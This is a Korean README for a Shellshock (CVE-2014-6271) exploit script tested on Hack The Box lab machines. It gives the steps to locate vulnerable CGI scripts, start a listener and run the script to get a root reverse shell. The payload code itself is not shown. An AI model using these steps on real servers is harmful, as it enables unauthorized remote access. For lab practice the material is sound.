CVE-2014-6271 - Shellshock.py

Shellshock 익스플로잇, 일명 CVE-2014-6271.
Bash 3.2 및 Bash 4.2에서 테스트됨.
취약점에 대한 자세한 정보는 다음을 방문하십시오: https://nvd.nist.gov/vuln/detail/CVE-2014-6271

참고

---

이 익스플로잇은 주로 Hack The Box의 다음 박스에서 테스트되었습니다:

• Beep 박스 : https://app.hackthebox.eu/machines/Beep
• Shocker 박스 : https://app.hackthebox.eu/machines/Shocker

이 익스플로잇은 Bash < 4.3 버전이 설치된 웹 서버에서만 작동합니다.
경우에 따라 웹 브라우저에서 HTTP 200 코드를 받을 수 있다면
`/cgi-bin/`에 GET 요청을 보내 해당 디렉터리를 대상으로 익스플로잇을 실행해 볼 수 있습니다.

그렇지 않고 /cgi-bin/ 디렉터리에서 403을 받는다면, 파일을 열거해 보십시오.
좋은 워드리스트로 해당 디렉터리 내에서 .sh 또는 .cgi 확장자를 검색해 보십시오.

참고: TCP 리스너를 설정하는 것을 잊지 마십시오. 그렇지 않으면 익스플로잇이 testRevShell 호출 확인 중에 위양성(false positive)을 반환할 수 있습니다.

개념 증명 (POC)

---

먼저 익스플로잇이 받는 인자들을 확인하려면 다음을 실행합니다: shellshock.py -h



그런 다음 원하는 포트에 Ncat 리스너를 설정할 수 있습니다. 여기서는 45번 포트를 선택했습니다.



다음으로 익스플로잇이 필요로 하는 모든 인자를 제공하여 익스플로잇을 실행할 수 있습니다:
shellshock.py [OUR_IP] [OUR_LISTENNING_PORT] [TARGET_URL]
보시다시피 여기서 대상 URL은 해당 박스에서 인증 중에 웹 서버가 POST 요청을 보내는 위치입니다.

출력에서 볼 수 있듯이 익스플로잇은 성공할 때까지 여러 TLS 버전을 사용하여 SSL을 통해 페이로드를 전송하려고 시도했습니다.



그리고 여기서 리버스 셸을 획득했습니다! 운 좋게도 웹 서버는 root로 실행되고 있었습니다.